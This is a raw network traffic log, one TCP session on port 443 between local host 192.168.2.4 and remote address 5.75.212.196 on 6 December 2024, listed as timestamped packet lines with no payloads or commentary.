Dec 6, 2024 09:42:42.132061005 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.132213116 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.132247925 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.179339886 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.179560900 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.227334023 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.252824068 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.252959013 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.253042936 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.253065109 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.253093004 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.253125906 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.253159046 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.299335957 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.299552917 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.347333908 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.371866941 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.371978045 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.371998072 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.372034073 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.372106075 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.372133017 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.372149944 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.372399092 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.372991085 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373027086 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373102903 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373148918 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.373163939 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373183966 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.373217106 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373225927 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.373256922 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373316050 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.373330116 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.373344898 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.373399019 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.373418093 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.415344000 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.491425037 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.491547108 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.491573095 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.491606951 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.491650105 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.491679907 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.491682053 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.491697073 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.491802931 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.492450953 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.492464066 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.492539883 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.492582083 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.492671967 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.492687941 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.492800951 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.494687080 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.494769096 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.494801044 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.494822979 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.494927883 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.494965076 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.495080948 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.495110989 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.495945930 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.495959997 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.496037960 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.496049881 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.496151924 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.496160030 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.496189117 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.496243000 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.496275902 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.538847923 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.538863897 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.538949966 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.538994074 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.539028883 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.539030075 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.539064884 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.539338112 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.539376974 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.539418936 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.539427042 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.587327957 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.607346058 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.607485056 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.607623100 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.607665062 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.607697964 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.613768101 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.613895893 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.614022970 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614048004 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.614109039 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614161968 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614180088 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614192963 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614213943 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614214897 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614233017 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614260912 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614288092 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614305019 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.614337921 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.615820885 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.615900040 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.615973949 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.615984917 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.615999937 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616019011 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616020918 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.616061926 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.616071939 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616080999 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.616096020 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616113901 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616130114 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616144896 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616182089 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616199017 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616213083 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.616224051 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.618479967 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.618532896 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.618644953 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.618671894 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.618680954 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.618690014 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.618817091 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.618849039 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.618868113 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.620527983 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.620656013 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.620773077 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.620805979 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.620827913 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.620841980 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.620841980 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622446060 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.622601986 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.622719049 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622740984 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.622761965 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622778893 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622796059 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622817039 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622817039 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622837067 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622855902 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622869968 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622891903 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622891903 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622909069 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.622945070 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.623944044 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.624037981 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.624075890 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.624099016 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.624237061 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.624269009 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.624283075 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.624283075 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.624402046 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.624427080 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.625035048 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.625078917 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.625205040 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.625226974 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.629250050 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.658780098 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.658806086 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.658946991 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.658962011 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.658992052 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.659137964 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.659157991 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.659168005 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.699343920 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.701302052 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.726468086 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.726489067 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.726613998 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.726653099 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.726670980 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.726690054 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.726716042 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.726747990 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.726759911 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.726780891 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.726840973 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.728125095 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.728137970 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.728224039 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.728244066 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.728333950 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.728466034 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.728502989 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.732851982 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.732913971 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.733035088 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.733061075 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.733063936 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.733071089 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.733081102 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.733174086 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.733201027 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.734680891 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.734698057 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.734813929 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.734863997 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.734971046 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.735008001 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.735114098 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.736105919 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.736118078 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.736208916 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.736221075 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.736351013 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.736500978 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.736545086 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.736571074 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737647057 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.737703085 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.737807035 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737823963 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.737838984 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737857103 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737869978 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.737891912 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737910986 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737916946 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.737931967 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.739442110 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.739479065 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.739588976 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.739650965 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.741153002 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.741242886 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.741274118 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.741292953 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.741312027 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.741328001 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.741339922 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.745641947 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.749277115 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.749306917 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.749329090 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.753243923 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.753285885 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.778554916 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.778570890 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.778670073 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.778692007 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.778723001 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.778774023 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.778865099 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.778908968 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.778927088 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.819330931 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.821260929 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.821310997 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.821381092 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.821507931 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.821543932 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.821563959 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.821671963 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.849956989 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.850023985 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.850161076 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.850187063 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.850322962 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.854619026 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.854645967 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.854758024 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.854810953 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.854938030 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.854970932 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.854970932 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898122072 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898255110 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898269892 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898297071 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898422956 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898443937 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898461103 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898461103 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898473978 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898484945 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898596048 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898617983 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898632050 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898708105 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898830891 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898845911 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898885012 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898891926 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898929119 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898940086 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898964882 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898983955 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.898984909 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.898992062 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899002075 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899005890 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899040937 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899058104 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899101019 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899116993 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899125099 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899127960 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899139881 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899144888 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899158001 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899164915 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899179935 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899188995 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899203062 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899210930 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899234056 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899363995 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899389982 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899398088 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899405956 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899513006 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899528980 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899610996 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899626970 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.899646044 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899724007 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899744987 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.899758101 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.941694021 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.941761971 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.942018986 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.942054987 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.942198038 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970314980 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.970335007 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.970484018 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970536947 CET	443	49915	5.75.212.196	192.168.2.4
